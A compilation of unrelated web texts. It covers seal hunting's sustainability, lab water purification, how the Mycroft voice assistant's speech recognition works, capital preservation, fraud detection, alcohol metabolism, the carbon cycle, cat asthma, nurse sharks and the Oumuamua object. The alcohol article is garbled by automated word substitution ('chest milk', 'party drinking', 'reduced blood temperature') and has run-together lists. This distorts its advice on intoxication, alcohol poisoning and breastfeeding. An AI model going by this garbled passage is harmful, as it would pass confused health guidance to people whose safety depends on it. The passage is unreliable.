As for the rest of the supply chain, there is almost none of the “rotting in bins” the UN says happens to so much food. Like most meats, seal meat is frozen right up to the point of consumption, plus any frozen meat is safe to eat almost indefinitely and good to eat for months. Highly perishable produce, like fresh fruit and vegetables, is another story entirely.
Sealing Is Sustainable, Does Not Harm the Environment
The UN also warns of a range of human activities, including “overfishing and marine environment degradation”, that are reducing the “ability of the natural resource base to supply food.”
So responsible consumption and production means that any harvesting of marine resources must be sustainable, and done in ways that don’t harm the environment. Again, sealing in Canada fits the bill.
Let’s look at the largest hunt, the commercial harvest of harp seals off Newfoundland and Labrador. Of the six seal species found in Canada, harp seals in the Northwest Atlantic are the most numerous, thought to number 7.4 million. The population has also been growing steadily for decades, and may even be at an historical high.
This growth is happening in part because government-set quotas for the sealing industry are very conservative, and even then, the industry has had trouble meeting its quotas in recent years. This has been due to two factors: climate change has seen the retreat of the ice floes on which harp seals haul out, making the seals less accessible; and markets for seal products have been depressed due to campaigning by animal rights groups.
In short, Canadian sealing is not only sustainable, but could almost certainly support a far larger hunt.
Meanwhile, it is believed by the fishing industry and others that the harp seals of the Northwest Atlantic are now eating so much – estimated at between 11.1 million and 14.8 million tons/year – that they are threatening commercial fish stocks. To put this in context, in 2018 the Atlantic Canada fishing fleet landed a total of just 608,000 tons.
As for any “environment degradation”, there is none. Hunting for wildlife, including seals, is by far the most benign way to produce animal protein. In comparison, the environmental impact of intensive livestock farming can be considerable, as can destructive fishing methods like bottom trawling.
Sealing Is Energy-Efficient, Clean
And the UN warns that the food sector “accounts for some 30% of the world’s total energy consumption and 22% of total greenhouse gas emissions.”
So responsible consumption and production calls on the food supply chain to be energy-efficient and produce as little greenhouse gasses as possible. Once again, the sealing industry passes with flying colours.
There’s room for improvement, of course, like switching all sealing boats, processing plants and delivery trucks to renewable energy. But as a means of producing animal protein, wildlife hunts will always have lower energy inputs than livestock farming, because there is no requirement to maintain the animals throughout their lives. By extension, wildlife hunts also emit far smaller volumes of greenhouse gasses.
This is not the case, however, for all marine harvests. A 2021 study estimated that bottom trawling contributes between 600-1,500 million tons a year of the greenhouse gas carbon dioxide by releasing it from the sea floor. This is approximately equivalent to emissions of the aviation industry.
All in all, then, sealing should rank high on the UN’s scale of “responsible consumption and production”, especially if you live near the point of production. Remember that the next time you’re in Toronto or Montreal shopping for your family’s dinner. A kangaroo steak followed by a platter of tropical fruits sounds nutritious and delicious, but the UN would recommend a juicy seal loin and locally grown strawberries or an apple. And remember to clean your plate!
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What are the applications of experimental water equipment?
Water quality has always been an important issue among the factors affecting the experimental results, but it is an often overlooked issue in clinical testing. This is mainly because there are many factors affecting the experimental quality in the clinical inspection work, and the water quality is in a relatively small influence position. However, with the improvement of inspection equipment and inspection technology, and the reduction and elimination of other error factors, the impact of water quality on quality becomes more important. Especially with the development and transformation of inspection technology in recent years, water quality has not only become a bottleneck for improving quality, but also the key to the success or failure of certain experiments (such as cell culture, etc.). At the same time, water quality is the key to the maintenance of some large automated instruments, so some instruments are equipped with pure water devices. The physical and chemical properties of water from different sources are different. But no matter what natural water is, it is not pure, and not only many solutes are dissolved in it, but also some insoluble tiny particles.
The influence of water quality on the experiment is mainly manifested in:
1. Clogging of automatic instruments by solid particles and dispersion of contrasting colors.
2. The effect of solutes on water pH.
3. The direct influence of ions in water on the reaction (such as the determination of inorganic elements, etc.)
4. The effect of ionic strength in water on immunity and enzymatic activity.
5. Indirect effects of ions in water on responses (such as excitation and inhibition, etc.)
Therefore, the experimental water must be treated with pure hydration. Commonly used methods of hydration are filtration and distillation. Filtration is a commonly used solid-liquid separation method, and distillation purification is a rough step to purify water by the difference between the boiling points of solutes and particles in water and water. In the usual test, the water quality requirements are lower, and the reagents are all buffered, so distilled water, double distilled water, and triple distilled water are sufficient. However, for some special experiments such as cell culture, which require high water quality, it will not work. It is necessary to use molecular sieves, ion exchange adsorption and other purification means to prepare. Special pure water and ultrapure water equipment have become indispensable for all chemical analysis, biochemical research and cell culture.
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Guest Blog - Hey Mycroft, how do you work? - STT Systems for Voice
Originally published at:
“Hey Mycroft, how do you work?”
Sounds like a simple question for a voice assistant to answer, right? Well, yes and no. To paraphrase a potential source, Wikipedia’s “Virtual Assistant" article:
Voice assistants use natural language processing (NLP) to match user voice input to executable commands. Many continually learn using artificial intelligence techniques including machine learning. To activate, a wake word might be used. This is a word or groups of words such as "Alexa", "Hey Mycroft", or "OK Google".
That isn’t a bad response, but it leaves out important points and a lot of detail.
For example, NLP as Wikipedia classifies it contains multiple essential modules of the voice stack, one of the most important being Speech Recognition. Without a speech to text engine (STT), an NLP intent parser couldn’t connect a request to an action. Every voice assistant needs robust STT.
What is Speech Recognition?
“Speech Recognition” is the ability of someone (or something) to conceive and understand speech from another source.
Humans may be intelligent, but can not be considered clever until some specific goals are achieved. When a baby is born, even though it can comprehend sounds, its brain will not be able to explain them. That being said, machines are just like babies. They won’t become intelligent until you spend time teaching them, and they can’t comprehend sound until they’re trained. That point drives us to our next section.
How does Speech Recognition work?
In order for a machine to begin comprehending sounds, an input is needed. All voice assistants (including Siri, Cortana, Alexa, and Google Assistant) get their prompts from a voice input device; a Bluetooth headset, a built-in microphone or anything of that sort. But the sound alone is going to do nothing.
One of the “classic” ways to develop Speech Recognition is detecting phonemes with Hidden Markov Models (HMMs). When still at the early ages of Speech Recognition development, the software has to learn the structure and fundamental rules of a language.
Hidden Markov Models
HMM is widely used in this area due to its design. It is generally based on the principle of determining the most suitable or proper outcome after the previous one provided to it. Depending on which words come before and after each other in a sentence, HMMs output the best guess based on its training data and context.
When you say “Hey”, the voice assistant hears the phonemes “Hh-ey”. Then it searches its database to see what word(s) match those phonemes. If it finds a match for the input then it can produce the appropriate output thus answering your question.
But what if you wanted to say “hay” instead of “hey”. This is where context comes into play. Go on and unlock your smartphone, launch the voice assistant and say something. You’ll see that it takes a small though still existent period of time to produce the output. And sometimes, it may even guess a word before it is spoken later in the sentence. This process depends on what is known as the language model.
When people talk and someone says something irrelevant, then we’d say that what he said was “out of context”, and that’s exactly what the software tries to avoid. By processing the whole sentence you provide it, the software can transcribe speech better by checking if the possible outputs match sentences from the training that include keywords. So, by seeing whether you’re talking about horses or calling out to a human, HMM Speech Recognition can more accurately guess if you said “hey” or “hay.”
Limitations and Availability
Each language can be more difficult to comprehend than others, and could contain more phonemes and various other syntactical and grammar rules. Each language requires a specifically trained HMM to work properly.
These days, using pre-made application programming interfaces (also known as APIs) that get implemented in the software’s source code, the program instantly learns all about phonemes and language rules.
There are various APIs regarding STT, but some of the best ones are Google’s Speech API, Bing Speech API, and Speechmatics. Long-standing Open Source options are CMU Sphinx and Kaldi. Many developers do not have the knowledge and resources required to develop their own STT engine. Using use one of the pre-existing engines allows them to easily add an STT feature in their programs.
The Role of Machine Learning
But the classics are meant to be improved upon. HMMs have given way to Machine Learning based models. Mozilla’s DeepSpeech is one STT application using Machine Learning to transcribe human speech. This has allowed a steadily growing base of developers to create new applications with Speech Recognition features.
A common example used to describe machine learning is teaching a machine to tell cats and dogs apart. If you just wait around for it to magically happen, it won’t. You have to apply some supervised learning (widely used term in the AI field).
[caption id=“attachment_41514” align=“alignnone” width=“1600”]An artists rendering of the Machine Learning process by Selman Design. Selman Design:[/caption]
To do that, you must gather some inputs; in this case, photos of cats or dogs. Then, by tagging what each picture shows you’d feed that collection to the software. This tagged dataset is fed into an ANN (Artificial Neural Network). These are computer models that operate just like our brains. In this example, the network is rewarded for correctly identifying cats in pictures it’s never seen before. Properly rewarding for correct identifications and adjusting for misses millions of times makes the model very good at its task. After millions or billions of training cycles, it should be able to identify whether the object in question is visible in a brand new photo unknown to it.
Computers can “see” sound?
How does visual pattern matching relate to STT? Actually, all this talk of computers ‘hearing’ is, in reality, a visual process. To transcribe speech, computers visualize the sound in a spectrogram. A spectrogram isolates different frequencies and indicates how long each sound wave’s energy lasted.
The same image matching that can be done with cats and dogs can be done with speech spectrograms. Instead of tagged pictures, these networks are fed hundreds of hours worth of spectrograms with the corresponding transcriptions. It’s trained and tested on new recordings and is rewarded for each correct transcription.
These are currently called “end-to-end” STT models. End-to-end models have shown success in transcribing speech in multiple languages with one model, when trained on large enough datasets including those languages. This is the cutting edge of Speech Recognition and the basis of Mozilla DeepSpeech.
Open Datasets
This is why collecting data is so important to technology companies. The more voicemail transcripts, assistant requests, and other recordings a company can capture, the better they can build their STT. That is why most companies keep their data to themselves. Mycroft, however, mostly depends on Open Datasets, where everyone has access to the data. Anyone is able to contribute, edit, or even adopt an amount of the data to utilize it for his or her own project.
What most people fail to understand, however, is the amount of data that is required for speech to be recognized. You’ve seen cases where Siri, for example, has booked a date at a wrong time or booked the wrong hotel room. Mispronunciations or even a slight accent can lead the software to unintended actions. But having an Open Dataset can help with that. Diversity isn’t just another feature. It’s a mandatory requirement for success.
But there is a reliance on well-tagged datasets in machine learning. Remember Tay? The AI robot made by Microsoft was released to Twitter on its own without any supervision and after 24 hours it spewed racist and crude remarks due to the data Microsoft allowed it to ingest.
Spoil the system and the boomerang will turn back your way and strike you. Training datasets must be clean and well-tagged to be effective.
What if you could improve the responses yourself?
This is where Mycroft differs from the other players in the field. Being open source, everyone with access to the Internet can help make Mycroft better. The only thing standing between you and a better voice assistant is a thin wall you can easily demolish by creating an account. In order to do so, start at
Once there, you can contribute to Mycroft’s Open Dataset just by Opting-In and using Mycroft. To go a step further, people can help make Mycroft better by tagging data - listening to various sentences and judging whether the software “heard” right or wrong. This helps in creating a diversity of clean inputs. Thus, with a lot of “practice” Mycroft could understand both a native English/American speaker and an Asian/African/European one with success.
That’s the reason Mycroft is doing so well at the moment and will continue to do even better than most other companies.
How You Can Help Mycroft Improve
There’s always space for improvement, and in this case, you can directly aid in making Mycroft better.
Creating an account is very easy, just go here. Don’t worry, you don’t necessarily have to own a Mycroft device. You could always download and install Mycroft on your Linux computer or Raspberry Pi.
Then you will be able to access what I like to call a couple of mini-games. I say that because they are actually fairly entertaining. These are the Precise tagger and the DeepSpeech tagger.
In the Precise tagger, you’ll be helping Mycroft learn how to better identify whether a spoken phrase is “Hey Mycroft” or not. Pretty simple, right?
For the DeepSpeech tagger, you will get to hear a word or phrase and at the same time, you’ll be given a string of text. Your goal is to judge whether what you heard exactly matches the provided text. This doesn’t only help Mycroft, but it actually helps in building a dataset which will be shared with Mozilla for training the DeepSpeech STT engine.
Both mini-games will award you with points for every task so you can level up and get to the leaderboard. So not only are you helping a great cause but you can also get the satisfaction of being an important contributor.
The Open Future of Voice Starts with You
All this wouldn’t be possible if Mycroft’s platform wasn’t open source, meaning that everyone can help make it better. Apart from what we already mentioned, you could also write your own code or, in the case you are not a developer, simply download Picroft, Opt-In to the Open Dataset, and use Mycroft. You can find everything you need here!
So now that you know how the whole thing works, it is time to take things into your own hands. You can support Mycroft by investing to become a community partner. It doesn’t matter whether you are a developer or just another technology aficionado. Your actions count the same and together we can all help the world better. Even if you are not you could use Mark I or II.
The whole point of Mycroft is that technology should be accessible by everyone and respectively, everyone should aid in creating an open and safe future!
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Capital Preservation
An investment strategy involving preserving capital and avoiding loss of value
What is Capital Preservation?
Capital preservation is an investment strategy that promotes saving, i.e., preserving capital and avoiding loss of value. The strategy adopts a conservative approach towards investing specifically in “safe” short-term instruments such as savings accounts, FDIC-insured checking accounts and Treasury bills, and certificates of deposits (CDs).
Capital Preservation
Key Factors in Capital Preservation
1. Levels of risk and volatility
Investors looking to adopt a capital preservation investment strategy are generally averse to risk, in the sense that they would want to invest in the least risky option. It is because such investors are looking to invest with the sole aim of preserving their capital. They don’t see the potential for their capital to grow in the near future and simply want to retain or preserve the most of it that they can, avoiding any possible loss of value.
2. Safety and stability of investments
Since investors are only looking for investments with minimal risk and the least volatility, the safety of investments and their long-term stability become major determinants in their investment decisions. Hence, they often settle for the safest investment options like insured checking and/or savings accounts, government bonds, money market accounts, Treasury bills, certificates of deposit, and inflation-adjusted accounts. It is because they are some of the safest investments with the highest amount of stability.
Generation of Returns
Capital preservation aims to protect what an investor already owns, i.e., preserve the face value of existing capital. It is a safety net strategy, and hence not all are motivated to generate abundant profits in exchange for bearing risk. The level of returns an investment generates doesn’t really matter as much, as long as it preserves capital and minimizes loss of value.
Capital preservation, as an investment strategy, generates very minimal returns. It seeks to protect an investor from market volatility rather than generate significant profits for them. Hence, it is usually adopted by investors with a fixed income. Also, it is also common among retired individuals who want to preserve what they currently own to cover their living expenses in the future.
Limitations of Capital Preservation
1. Loss of availability
In today’s volatile market conditions and constantly fluctuating economic conditions, the “safety” of all kinds of investment strategies is constantly put in question, and there is some amount of risk associated with each strategy. Hence, in the current dynamic economic world, it is becoming less and less possible to offer capital-preserving investments. Hence, there is an overall loss of availability of safe, stable, and risk-averse capital-preserving investment options.
2. Very few to near-zero returns
It is becoming increasingly difficult for capital preservation investment options to offer a good return, due to the continued uncertainty and constantly fluctuating market conditions. As a result, most investment options are barely able to generate returns. Such investments in today’s market offer only very little to near-zero returns.
3. Inflation
Since certain investments potentially offer very low, near-zero returns, investors are barely able to cope up with the increasing inflation rate arising from today’s dynamic economic conditions. Because capital preservation cannot sustain recent inflation levels, it is not able to fulfill its purpose and fails to preserve the purchasing power of capital.
It is usually because the investment ends up generating negative real returns after the adjustment of inflation rates. Hence, their lack of availability increases and discourages investors even further.
Real-life Example: Government-insured Investment Options
In the current turbulent market times where it is becoming increasingly difficult for investors to preserve their capital, the U.S. government offers insured investment options. Such options are inflation-adjusted in order to avoid the limitations of capital preserving existing today.
From the Federal Deposit Insurance Corporation (FDIC), risk-averse investors can avail of FDIC-insured certificates of deposits, FDIC-insured checking and savings accounts, and even FDIC-insured U.S. Treasury bills. The options serve to limit inflation abuse on specific investment vehicles.
Related Readings
• Investing: A Beginner’s Guide
• Federal Deposit Insurance Corporation (FDIC)
• Key Players in the Capital Markets
• Return on Investment (ROI)
Corporate Finance Training
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Fraud detection is a collection of activities undertaken to prevent money or property from being obtained through deception. A crime that uses deception as its primary weapon is called fraud. Fraud is a deliberate misrepresentation of the truth or concealment of a material fact which causes another to act to their disadvantage.
Fraud Detection
Fraud Detection
It also includes any intentional act that is meant to deprive another of property or money by unfair means. Fraud can be either internal (for example, by, by employees, managers, officers, or owners of the company) or external (for example, by customers, vendors, and other third parties).
In Today’s World
The complexities of state-sponsored terrorism, professional criminals, and basement bad guys are becoming more difficult to comprehend, track, expose, and prevent. In today’s world, detecting fraud requires a comprehensive approach that matches data points with activities to determine what is abnormal. Fraudsters have developed sophisticated tactics, so staying on top of these changing approaches to gaming the system is critical.
Cybersecurity breaches frequently enable fraudulent activities. Consider retail or financial services: once considered a luxury, real-time transaction monitoring is now a requirement, not only for financial transactions, but also for digital event data relating to authentication, session, location, and device.
Fraud Triangle
There is no single reason behind the fraud, and any explanation of it needs to consider various factors. Looking from the fraudster’s perspective, it is necessary to take into consideration several factors. These include: the motivation of potential offenders, conditions under which offenders can rationalize their crimes away, opportunities to commit crimes, perceived suitability of targets for fraud, the technical ability of the fraudster, expected and actual risk of discovery after the fraud has been undertaken, expectations of consequences of discovery, and the actual consequences of discovery.
One of the most popular models used in auditing for explaining why fraud is committed is called the Fraud Triangle. Auditors use the fraud triangle liberally while reviewing the risk of fraud in any organization.
The fraud triangle helps identify motives for fraud, such as financial problems that are hard to share. As the name suggests, the fraud triangle has three points or elements called pressure, opportunity, and rationalization. As per this theory, whenever fraud occurs, all three elements are present, and therefore anticipating these elements helps in countering fraud..
An individual can be pressured or motivated to commit fraud because of a personal financial problem, such as a large gambling debt. Sometimes, problems at work cause this pressure to occur. For example, an individual may be motivated to perform fraud because he feels he has been given performance targets he will not be able to fulfill.
However, the individual doesn’t believe that he can solve his problems legally or that he can talk to others who might be able to help him that is why they lead to unfair means.
The person who plans to commit the fraud uncovers an internal control weakness and believes no one will notice if he takes the money. Internal control weaknesses, such as a lack of oversight, are an opportunity to steal. The fraudster starts by stealing a small amount of money and if he doesn’t get caught, he will most likely steal even larger amounts.
The opportunity for theft can be decreased by developing and implementing effective internal controls.
Rationalization involves two aspects. From a fraudster’s perspective, the gain from committing fraud must be more than the risk of getting caught.
The fraudster must have an internal justification for committing the fraud. For example, the fraudster may think that the Company won’t miss the money or the organization doesn’t pay him enough. The individual may even rationalize the fraud by telling himself that he’ll pay the money back.
By its nature, fraud is hard to detect, and some frauds are never detected. People committing fraud plan from the outset to keep their actions hidden until they achieve their objectives and for as long after that as possible, but that does not mean that companies should throw up their hands and accept fraud as a cost of doing business.
Often fraud is obvious to the fraudster’s colleagues after the event. When one looks back at indicators and behaviors, it frequently highlights all the more common fraud indicators.
Many frauds are discovered accidentally or as a result of information received. In many cases, greater losses are suffered due to employees at all levels ignoring the obvious. An organization must have appropriate reporting mechanisms in place to facilitate everyone so that they report fraud or wrongdoing in the organization.
Fraud Detection
How Fraud Detection Works
Many criminals commit fraud by exploiting loopholes and testing patterns. In order to crack the passcode on a credit card, a hacker might create a computer program that randomly tests thousands of 4-digit pins per second. Because fraud is frequently committed through patterns, fraud detection employs artificial intelligence to search for these patterns and sends an alert when one is detected.
Depending on the severity of the alert, it may immediately block all activity or send the alert to a human evaluator for further investigation. To approve suspicious banking transactions, for example, your bank may send you text message alerts.
Fraud Detection Techniques
Because fraud typically involves multiple repeated methods, looking for patterns is a general focus for fraud detection. Data analysts, for example, can prevent insurance fraud by developing algorithms to detect patterns and anomalies.
Fraud detection can be distinguished through the application of statistical data analysis techniques or artificial intelligence (AI).
Techniques for analyzing statistical data include:
• determining statistical parameters
• regression examination
• models and probability distributions
• matching of data
Among the AI techniques used to detect fraud are:
• Data mining is the process of categorizing, grouping, and segmenting data in order to search through millions of transactions for patterns and detect fraud.
• Neural networks learn suspicious-looking patterns and use them to further detect them.
• Machine learning detects fraud characteristics automatically.
• Pattern recognition detects suspicious behavior classes, clusters, and patterns.
Types Of Fraud
Fraud can be committed in a variety of ways and settings. Fraud can be committed in the banking, insurance, government, and healthcare sectors, for example.
Customer account takeover is a common type of banking fraud. This is when someone uses bots to gain unauthorized access to a victim’s bank account. Other types of banking fraud include the use of malicious applications, the creation of false identities, money laundering, credit card fraud, and mobile fraud.
Insurance fraud includes premium diversion fraud (the theft of insurance premiums) and free churning (excessive trading by a stockbroker to maximize commissions). Asset diversion, workers’ compensation fraud, car accident fraud, stolen or damaged car fraud, and house fire fraud are all examples of insurance fraud. All insurance fraud is motivated by financial gain.
Government fraud involves defrauding federal agencies such as the United States. Departments of Health and Human Services, Transportation, Education, and Energy are some examples. Billing for unnecessary procedures, overcharging for items that cost less, providing old equipment when billing for new equipment, and reporting hours worked for a worker who does not exist are all examples of government fraud.
Drug and medical fraud, as well as insurance fraud, are examples of healthcare fraud. When someone defrauds an insurer or a government health care program, they are committing healthcare fraud.
Companies That Benefit From Fraud Detection
Businesses that are most vulnerable to financial fraud should implement at least some fraud detection measures. Banks, credit card companies, insurance companies, and businesses that conduct significant online transactions are examples of these. While any business is vulnerable to fraud, companies with large transaction amounts, a high volume of transactions, or contactless business models are more vulnerable.
Advanced Fraud Detection Features
The features available to business owners have grown in tandem with the advancement of fraud detection technology. Many fraud detection systems now include a number of filters that can quickly identify unusual transactions. Filters can be set up to flag transactions from specific regions or countries, or those that exceed certain threshold amounts. Using these filters gives the business owner some direct control over transaction verification and approval before money is exchanged.
Final Thoughts
Fraud detection is a collection of processes and analyses that enable businesses to detect and prevent unauthorized financial activity. This includes fraudulent credit card transactions, identity theft, cyber hacking, insurance scams, and other similar activities. Fraud detection can be integrated into websites, company policies, employee training, and enhanced security features. The most effective businesses combat fraud by employing a multifaceted strategy that incorporates several of these techniques.
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Medically reviewed by Timothy J. Legg, Ph.D., CRNP — written by Kristeen Cherney — update on march 29, 2019
Alcohol is a depressant that has a quick life span in the body. Once alcohol has gotten in your bloodstream, your body will start to metabolize it at a rate of 20 milligrams per deciliter (mg/dL) per hour. That way that if her blood alcohol level were 40 mg/dL, it would certainly take around two hrs to metabolize the alcohol.
You are watching: Does drinking water flush out alcohol
Read on come learn an ext about alcohol’s life bike in the body and the important determinants to consider.
Alcohol is metabolized at a consistent rate, but some world may feel the results of alcohol because that longer quantities of time. That’s since blood alcohol concentrations have the right to vary among people and situations. Blood alcohol concentration (BAC) describes the amount of alcohol in her blood in relationship to the lot of water in your blood. For example, if two human being each have blood alcohol levels of 20 mg/dL, the alcohol will metabolize in around an hour in every person, yet their BACs deserve to be very different.
Numerous components can influence BAC and also how you react to alcohol, including:
ageweightdrinking alcohol ~ above an north stomachmedicationsliver diseasedrinking plenty of drinks in a short duration of time, i m sorry is additionally known as party drinking
It’s additionally important to know exactly how much alcohol is in her drink, since that will certainly determine how long it takes come metabolize your drink. For example, some beers have actually a greater alcohol content, which affects exactly how much alcohol you’re consuming from one drink.
The complying with are general estimates for just how long it takes to metabolize different alcoholic beverages, though these times will certainly vary relying on the lot of alcohol in the beverage:
Type of alcoholic beverageAverage time come metabolize
small shot of liquor1 hour
pint the beer2 hours
large glass that wine3 hours
a few drinksseveral hours
There are details steps you have the right to take to aid reduce the effects of alcohol.
Food may help your human body absorb alcohol.Water can help reduce her BAC, despite it will certainly still take it one hour to metabolize 20 mg/dL that alcohol.Avoid caffeine. It’s a myth the that coffee, energy drinks, or any comparable beverages reduce intoxication quicker.
Read more: Is it for sure to drink alcohol while taking acetaminophen? »
When girlfriend consume alcohol, it an initial enters the digestive system. Alcohol no digested choose food and other drinks, however. Around 20 percent of the alcohol from a single drink moves directly to the blood vessels. Native there, it’s lugged to her brain. The remainder of the 80 percent goes to your small intestine, then straight to her bloodstream.
The final step of the alcohol life bicycle is its removal from the body v the liver. Any issues with your liver deserve to slow under this process.
Urine tests can detect alcohol lengthy after you’ve had actually your last drink. This tests look for traces that alcohol metabolites. The median urine test can detect alcohol in between 12 and 48 hrs after drinking. Much more advanced testing can measure alcohol in the pee 80 hrs after girlfriend drink.
Breath tests because that alcohol can detect alcohol in ~ a much shorter time frame. This is around 24 hrs on average. A small machine called a breathalyzer measures your BAC. Any type of number above 0.02 is considered unsafe for driving or other safety-based tasks.
Alcohol can stay in your hair for up to 90 days. It can also temporarily be detected in saliva, sweat, and also blood.
There’s a misconception the tracking the quantity of alcohol friend drink and the time her body take away to eliminate it can assist keep chest milk safe. No amount of alcohol is safe to drink when you’re breastfeeding. Babies who room exposed to alcohol room at hazard for diminished motor an abilities and various other developmental delays.
While the mayo Clinic states that alcohol take away a few hours to clear chest milk on average, the process varies in the same method as it does for women that aren’t breastfeeding.
If you perform drink alcohol if breastfeeding, think about the complying with ways to keep your infant safe:
breastfeed before you have actually a drinkpump extra milk ahead of time so the you deserve to feed your baby through expressed milkwait 2-3 hours after a shoot or a 12-ounce glass the beer or wine before breastfeeding again
Alcohol poisoning is an emergency clinical condition. The occurs as soon as a huge amount the alcohol is consumed and your body can’t rest it down conveniently enough. Party drinking is the many common cause of alcohol poisoning.
Symptoms include:
vomitingreduced blood temperatureslower breathingpassing out
Oftentimes, a human with alcohol poisoning passes out before they realize those happened. If you suspect alcohol poisoning in a friend or love one, speak to your local emergency services right away. To stop choking native vomit, revolve the human being on their side. Never ever leave a friend with alcohol poisoning through themselves.
See more: Is Jeffree Star A Boy Or A Girl, Jeffree Star
Learn more: expertise why blackouts happen »
The much faster you seek help, the much more likely you are to minimize possibly fatal complications, together as:
brain damageseizureasphyxiationextremely short blood pressure
The price that alcohol deserve to stay in your system depends on a range of factors. The bottom heat is safety and moderation. Keep your intake to a couple of drinks per week, and avoid party drinking. Also, be certain to have a ride inside wall up if you room drinking far from home. Also if girlfriend are listed below the legit limit, it’s never safe to journey with any kind of amount of alcohol consumption.
Medically the review by Timothy J. Legg, Ph.D., CRNP — created by Kristeen Cherney — updated on march 29, 2019
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Carbon Cycle
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In the same way we learn about the water cycle at school, we should start learning about the cycle that carbon follows in our world. However, I'm not sure I can really understand it.
• Plants absorb carbon dioxide . Is it used by their cells? Do they break CO2 to keep the carbon and that makes wood?
• Plants die, the carbon they'd captured gets into the soil. Or the wood is chopped.
• Either burning fossil fuels or burning wood is more or less the same, it is a matter of time scale.
• CO2 is released to the atmosphere by natural means and human activity such as burning.
• The cycle re-starts
Are plants the biggest absorbents of CO2? What about water? Can CO2 diffuse into the oceans? And bacteria or other single-cell organisms?
When a tree dies, isn't all the carbon captured released again to the atmosphere? What prevents it? Are the roots of trees actually pushing carbon to the soil during the lifetime of a tree?
Does a tree capture more carbon than its own weight?
Tags: #climate-change #education
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Cat Asthma: Treatments & Causes
kitten has an asthma
Cats can develop problems with asthma just like humans, and there are actually numerous causes.
If your cat has asthma, it is important that you know how to care for them. This will article will provide you with all of the necessary information to make your kitty feel better on a daily basis.
Signs of Asthma in Cats
First, you will need to be aware of the more common signs of asthma in cats. There are a few specific symptoms that may indicate that your cat has this condition that you should look out for.
• Lethargic behavior: Some cats that have asthma will lie around for long periods. This is usually due to the strain that is put on their respiratory system. They’ll try to conserve energy so as to minimize their discomfort.
• Labored breathing: You’ll probably notice that your cat has issues with breathing normally as well. While this could be due to other things like excitement or anxiety, it is important to keep this possibility in mind. Most healthy cats take about 30 to 35 breaths every minute.
• Mouth breathing: Another sign that your cat has asthma is that they have started breathing through their mouth instead of their nose. This can be an indication of labored breathing, which is closely associated with asthma.
• Coughing: If your cat is having an asthma attack, it might start coughing violently. While a cat’s cough is somewhat different than a human’s, it does sound fairly similar.
My Cat is Snoring: Is it normal?
Causes of Asthma in Cats
There are actually a few different potential causes of feline asthma that you should be aware of.
1. Stress
While stress and anxiety don’t cause asthma per se, they can trigger an asthma attack in your kitty. The more stressed they are, the weaker their immune system becomes. Your cat is more likely to experience these symptoms when they are experiencing a lot of stress.
2. Environmental Irritants
There are lots of different things in a cat’s environment that can trigger asthma symptoms, including mold, perfumes and colognes, household chemicals, tobacco smoke, and pollen.
cat has an asthma shot
3. Certain Foods
Cats can be allergic to certain foods just like humans, and it can trigger an asthma attack. This is why you should be very careful when it comes to giving your kitty any human food. You never know how they are going to react. If you give them a certain food for the first time, you should only put a little bit in their bowl. Its always better to keep cats with health problems on a proper cat food diet.
4. Genetics
Some cats are genetically predisposed to asthma, similar to humans. There are actually a lot of inherited medical conditions that can weaken your cat’s immune system, making them more likely to have problems with asthma.
How to Treat Your Cat’s Asthma
There are plenty of treatment options that you should explore when it comes to keeping your cat’s asthma under control.
1. Control the Environment
If your cat is having asthma attacks because of some irritant in their environment, you will need to do everything possible to eliminate it. Whether it is not wearing a certain perfume or smoking outside of the house, it is important that you make the necessary changes.
How to Treat Cat Acne - Information
First, you will need to narrow down the specific cause of your cat’s asthma, which can take a little while. The best way to do this is to pay attention to when your cat starts to exhibit symptoms of asthma.
2. Keep Your Cat at a Healthy Weight
Since asthma tends to be more of a problem for overweight cats, you will need to make sure that you keep them healthy. This means keeping your kitty on a healthy diet and not giving them too many treats. The more overweight they become, the more likely they are to develop problems with breathing properly.
Make sure that the food you are giving your cat promotes a healthy weight. There are some cat foods that have more carbohydrates than others. The fact is that most cats don’t need a lot of carbs in their diet, but protein is very important.
cat and allergy pills e1583764827909
3. Anti-inflammatory Medications
There are certain anti-inflammatory drugs that can be very effective at stopping an asthma attack in your cat before it gets really bad. You will first have to take your cat to the vet so they can run some tests. These drugs have been known to work extremely well with a lot of cats.
You can even get a prescription for an inhaler that is specifically designed for cats. It might take a little while before they learn how to use it, but it can be extremely helpful. This is usually only recommended when a cat has severe, life-threatening asthma.
4. Always Stay Calm
If you notice that your cat is having an asthma attack, it is imperative that you stay calm. If your cat gets the sense that you are panicking, their symptoms could actually worsen. When you maintain a level head, you can respond to the situation more effectively.
How to Tell Your Cat is Sick or in Pain?
It is important that you get your cat to a vet right away if you notice your cat’s asthma symptoms getting even worse. The sooner you do this, the better off your feline friend will be.
• Some of the most common signs of feline asthma include labored breathing, rapid heart rate, lethargic behavior, and excessive coughing.
• Asthma can range from mild to severe in cats just like with humans.
• Stress and anxiety can definitely trigger asthma symptoms in cats, which is why it is important to keep your kitty calm.
• Your cat could be exhibiting asthma symptoms because of an irritant in their environment, such as your perfume or a household chemical.
• Some cats are genetically predisposed to asthma or have an underlying medical condition that compromises their immune system.
• If your cat starts having an asthma attack, it is crucial that you stay calm.
• Make sure that you get your cat to the vet right away if you notice their symptoms start to worsen.
• There are lots of treatments for cat allergies, including inhalers and anti-inflammatory medications.
• Keeping your cat at a healthy weight can do wonders for preventing problems with asthma.
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The nurse shark (Ginglymostoma cirratum) is an elasmobranch fish within the family 'Ginglymostomatidae'. They are directly targeted in some fisheries and considered as bycatch in others. The conservation status of the nurse shark is globally assessed as being data deficient in- the IUCN List of Threatened Species owing to the lack of information across its range in the eastern Pacific Ocean and eastern Atlantic Ocean. They are considered to be a species of least concern in the United States and in The Bahamas, but considered to be near threatened in the western Atlantic Ocean because of their vulnerable status in South America and reported threats throughout many areas of Central America and the Caribbean.
Nurse sharks are an important species for shark research (predominantly in physiology). They are robust and able to tolerate capture, handling, and tagging extremely well. As inoffensive as nurse sharks may appear, they are ranked fourth in documented shark bites on humans, likely due to incautious behavior by divers on account of the nurse shark's slow, sedentary nature.
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Is Oumuamua Asteroid Acting Like Cutting-Edge 'Light Sail' Technology?
CC BY 4.0 / ESO/M. Kornmesser / The first interstellar asteroid, `OumuamuaThis artist’s impression shows the first interstellar asteroid, `Oumuamua
This artist’s impression shows the first interstellar asteroid, `Oumuamua - Sputnik International
The alleged asteroid Oumuamua has been the subject of heated debates in scientific circles for over a year now, with both alien-related and more traditional theories showing no signs of stopping.
What was perceived to be the interstellar asteroid, which was later called Oumuamua, first entered the spotlight back in October 2017 when it was first spotted whizzing past the sun in Hawaii, and has since sparked genuine scientific interest. The Hawaiian name roughly translates to “first”, thereby allegedly referring to the “first messenger,” a number of media reported.
Japan's Hayabusa-2 probe - Sputnik International
